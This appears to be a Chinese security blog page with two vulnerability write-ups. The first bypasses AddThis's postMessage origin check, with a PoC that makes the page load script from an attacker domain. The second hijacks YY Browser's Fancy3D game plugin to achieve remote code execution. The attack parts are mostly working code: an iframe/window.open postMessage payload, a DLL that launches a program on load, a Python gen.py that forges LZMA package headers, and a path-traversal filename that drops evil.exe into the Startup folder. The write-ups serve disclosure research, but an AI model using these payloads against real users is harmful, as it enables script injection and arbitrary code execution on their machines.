0%

背景

说明:这个漏洞是 https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/ 修复的绕过,目前已经报告给AddThis并得到修复。

AddThis是由多姆·沃纳伯格(Dom Vonarburg)创立并由Clearspring公司拥有的一个社会性书签服务。它可以与网站进行整合,访客即可用它将网站上的某些内容通过其他网络服务收藏或分享,诸如Facebook、MySpace、Google书签、Twitter等 From https://zh.wikipedia.org/wiki/AddThis

使用的例子有:

分析

使用这款插件,需要在网页上加入类似以下的代码

1
2
<!-- Go to www.addthis.com/dashboard to customize your tools -->
<script src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-538ceb912f1cca19" async="async"></script>

当插件加载完成后,就会监听message事件。

看完前面提到的那篇文章之后,我们可以知道在这个事件处理函数中,如果message事件处理函数接收到一个 合法来源 的消息,消息内容如下:at-share-bookmarklet://example.com/xss.js时,就会动态在页面中插入指定的JS脚本。之前的漏洞是在这里根本没有检查消息的来源就直接加载执行导致了DOM XSS,原先的PoC:

1
2
3
4
5
<iframe id="frame" src="https://targetpage/using_addthis"></iframe>

<script>
document.getElementById('frame').contentWindow.postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*');
</script>

AddThis对这个漏洞进行的修复如下:

  1. 添加检查当前窗口是不是被嵌套在:iframe, frame等标签里,如果是,则不监听message事件。
  2. 检查来源

修复后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
, c = window.parent === window;
...
c && u(window, "message", function(e) {
if (e) {
var t = _atr.substring(0, _atr.length - 1)
, n = e.origin.indexOf(t) === "https:".length || e.origin.indexOf(t) === "http:".length || /^https?:\/\/(localhost:\d+|localhost$)/.test(e.origin)
, o = "string" == typeof e.data;
if (o && n) {
var a = e.data.match(/at\-share\-bookmarklet\:(.+?)$/) || []
, i = a[1];
if (i) {
try {
_ate.menu.close()
} catch (s) {}
r(i)
}
}
}
})
  1. 其中_attr的值为//s7.addthis.com/,那么t的值就是//s7.addthis.com
  2. e.origin是调用了postMessage这个API的来源
  3. 什么时候o && n的值会是真呢?例如站点:http://s7.addthis.com/向目标站点发送消息的时候

但这个修复真的没有问题了吗?在使用postMessage进行跨域通信的时候,有以下几种场景:

  1. 父窗口与iframe,frame等标签里的子网页进行通信,即上面那个PoC
  2. 使用window.open打开一个新的窗口

    1
    2
    var win = window.open("http://target.com/index.html");
    win.postMessage("this is a message", "*");

    http://target.com/index.html这个页面就可以监听message事件获取到以上的消息。

也就是说,对于一个安装了这个插件的目标站点,我们依旧可以通过方法2发送一个消息给他。另外,这里的域名检查也不完善,简单的说,只要是s7.addthis.com开头的域名都是合法的,如s7.addthis.com.evil.com

1
2
3
> e.origin = 'http://s7.addthis.com.evil.com'
> e.origin.indexOf(t) === "http:".length
< true

案例链接:http://www.wooyun.org/bugs/wooyun-2016-0221080

这是浏览器安全系列的最后一篇文章(就目前情况而言)了,静待乌云归来。

免责声明

本博客提供的部分文章思路可能带有攻击性,仅供安全研究与教学之用,风险自负!

前言

在研究YY浏览器的默认游戏助手插件时,在代码里面找到一个游戏的名字:jzwl,于是在YY的游戏中心搜索了一下,找到了下面这个页面:

1
http://udblogin.duowan.com/login.do?online&report_ver=new&showtools=0&webyygame&pro=webyygame&rso=FROM_SCTG&rso_desc=%E5%B8%82%E5%9C%BA%E6%8E%A8%E5%B9%BF&ref=gw/entergame&ref_desc=%E5%AE%98%E7%BD%91%2f%E8%BF%9B%E5%85%A5%E6%B8%B8%E6%88%8F&game=JZWL&server=s6

点开这个页面的时候,我电脑上的腾讯安全管家弹出了下载文件的提示,仔细一看,我擦,自动下载了这么多文件下来!于是我觉得可以研究研究这个东西。

发现页面中有这样的一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<div class="flash">
<object id="fancy3d" type="application/fancy-npruntime-fancy3d-plugin" width="100%" height="198">
<param name="game" value="jzwl">
<param name="nprver" value="0.0.2.17">
<param name="ocxver" value="0.0.2.17">
<param name="liburl" value="http://loader.52xiyou.zsgl.ate.cn/jzwl/loader/loaderUpdater.71f24efc47252dee7ca07eb571bd6f50.dll">
<param name="libmd5" value="71f24efc47252dee7ca07eb571bd6f50">
<param name="unsafelib" value="allow">
<param name="param1" value="cmdline=uid:1576442523|skey:6|platform:duowan|sign:7115344fa13ccca8950cfea0484437ce|type:web">
<param name="param2" value="client_root_url=http://res.jzwl.52xiyou.com/client/">
<param name="param3" value="ip_port=[121.46.21.176,121.46.21.176,121.46.21.176,121.46.21.176]|[8092]">
<param name="param5" value="loader_root_url=http://res.jzwl.52xiyou.com/loader/">
<param name="param6" value="loader_ver_name=loader.ver">
<param name="param7" value="loader_catalog_name=loader_catalog.txt">
<param name="param8" value="loader_name=loaderjz.dll">
</object>
</div>

我擦!这个好像在哪里见过的:http://wooyun.org/bugs/wooyun-2016-0172781 我们开始分析吧!

0x00 这个插件是哪里来的?

YY浏览器启动的时候会检查注册表中是否已经安装有Fancy3D游戏引擎这个NPAPI插件,具体路径如下。如果不存在,则会自动静悄悄地帮用户安装上。

1
HKEY_CURRENT_USER\Software\MozillaPlugins\@fancyguo.com/FancyGame,version=1.0.0.1

0x01 插件功能分析

libcurllibcmd5这两个参数在 http://wooyun.org/bugs/wooyun-2016-0172781 已经分析过,这里更简单,连域名白名单限制都没有做,直接修改成为自己的域名都会请求,一开始我以为是可以直接搞定的。但实验过后发现,自己写的dll按照规则放进去之后并没有加载到进程中。进一步查看信息,发现360浏览器那个洞里出现的游戏提供方好像是同一家公司,看样子是做了数字签名,没什么好方法,先放一边。

里面还有几个参数,看上去也是会下载文件,把<param name="param5" value="loader_root_url=http://a.com/loader/">改成自己本地的地址(注:我在Hosts文件里做了127.0.0.1 a.com映射)看看它都会请求下载哪些东西。测试过后,发现过程如下:

  1. 下载loader_root_url + loader_ver_name,即这个文件:http://res.jzwl.52xiyou.com/loader/loader.ver ,其内容为2016-06-02
  2. 下载loader_root_url + 2016-06-02/loader_catalog.txt,即:http://res.jzwl.52xiyou.com/loader/2016-06-02/loader_catalog.txt , 其内容如下:

    1
    2
    3
    4
    5
    curl.exe.lzma||3b0c063789066f74667efc13db00e9cc||247772||f4edf7cab0d6a404b77eb816c996831c||506048
    jztr.exe.lzma||c5dbe14ad37375371cb79261b848bcc8||69086||339068e9b3286cb30e100c398ea632f1||154816
    flash.ocx.lzma||b2a9e2cdb422b3a71558ad9b6acc4ec8||1701337||8afc17155ed5ab60b7c52d7f553d579c||3866528
    loading.swf.lzma||a77c04de83da48dcbb6b15c9028829a7||961202||5f52ea04bc871804c0c059a82053894c||950321
    loaderjz.dll.lzma||4a51f304098ccebcecdf238ff3736d60||350535||2f22bb87e00681d858e3bd6013843231||804496
  3. 下载上面的文件,并执行加载游戏的一些操作。通过procexp.exe查看相应YY浏览器的NPAPI的进程,发现其动态加载的dll中,果然有loaderjz.dll这个文件。

    目录结构如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    │───poc.html

    └───loader
    │ loader.ver
    └───2016-06-02
    curl.exe.lzma
    flash.ocx.lzma
    jztr.exe.lzma
    loaderjz.dll.lzma
    loader_catalog.txt
    loading.swf.lzma

0x02 分析文件格式

1
2
3
4
5
$ binwalk curl.exe.lzma

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
42 0x2A LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 506048 bytes

观察每个文件,发现它们都有一个不定长的头部信息,然后是LZMA:24算法压缩的数据包,Google之后猜测是使用这里的工具开发的:http://www.7-zip.org/sdk.html

接下来分析一下头部信息都是些什么东西。注:这里用的是小端规则。

  • 00 - 03 字节:29 00 00 00 = 0x29 = 41,正好是上面binwalk分析出来的头部长度。
  • 04 - 07 字节:B3 C7 03 00 = 0x03C7B3 = 247731,是loader_catalog.txt文件中 247772 - 41 得到的,而247772是curl.exe.lzma文件的大小。最终,通过binwalk -e解压开文件,发现就是加了头部信息之前的文件的大小 + 1
  • 08 - 11 字节:C0 B8 07 00 = 0x07B8C0 = 506048,应该就是解压后文件的大小
  • 12 - 13 字节:09 00 = 9,刚好就是字符串curl.exe的长度,注意结尾的\0
  • 14 - 15 字节:11 00,暂时没猜到
  • 16 - 31 字节:00000000000000000000000000000000
  • 32 - 40 字节:6375726C2E65786500 = curl.exe

0x03 劫持loaderjz.dll.lzma这个文件实现远程命令执行

首先,自己实现一个dll文件,在其DllMain入口函数的时候中启动一下计算器就好,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc", 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

编译成Release版本,改名,使用 http://www.7-zip.org/sdk.html 这里下载得到的lzma.exe压缩一下文件

1
2
3
4
5
6
E:\lzma\bin>lzma.exe e loaderjz.dll loaderjz.dll.lzma -d24

LZMA 16.02 : Igor Pavlov : Public domain : 2016-05-21

Input size: 12288 (0 MiB)
Output size: 5748 (0 MiB)

接着使用脚本gen.py(见测试代码)生成带有头部信息的文件:

1
2
$ python gen.py loaderjz.dll
output.lzma||3a94912118bc172065d643e1aa847b0d||5794||9bc1ee40c622a0d7a1f96a6c9119bbe6||12288

将生成的output.lzma覆盖loaderjz.dll.lzma,并将loader_catalog.txt中的值修改成上述命令的输出,使用YY浏览器访问测试页面。就可以执行任意程序了。

0x04 任意路径写入漏洞导致RCE

在测试的过程中,我还发现头部信息中的文件名可以使用..跳转到上一级目录中,也就是说我们可以利用这个点来将一个可执行文件写入到用户的启动目录中。在生成头部信息时,只需要使用文件名:..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.exe,YY浏览器在下载这个生成的lzma文件之后就会自动将这个文件写入到启动目录中。

测试代码

gen.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import struct
import os
import sys
import hashlib

inputFileName = sys.argv[1]
#fileName = "..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.exe"
fileName = "loaderjz.dll"
fileNameLength = len(fileName) + 1
lzmaFile = inputFileName + ".lzma"
outputFile = "output.lzma"

def md5(fname):
hash_md5 = hashlib.md5()
with open(fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()

with open(outputFile, "wb") as f:
f.write(struct.pack('I', 32 + fileNameLength))
f.write(struct.pack('I', os.path.getsize(lzmaFile) + 1))
f.write(struct.pack('I', os.path.getsize(inputFileName)))
f.write(struct.pack('H', fileNameLength))
f.write(struct.pack('H', 0x11))
f.write('\x00' * 16)
f.write(fileName)
f.write('\x00' * 2)
with open(lzmaFile, "rb") as lzmaF:
f.write(lzmaF.read())

print outputFile + "||" + md5(outputFile) + "||" + str(os.path.getsize(outputFile)) +\
"||" + md5(inputFileName) + "||" + str(os.path.getsize(inputFileName))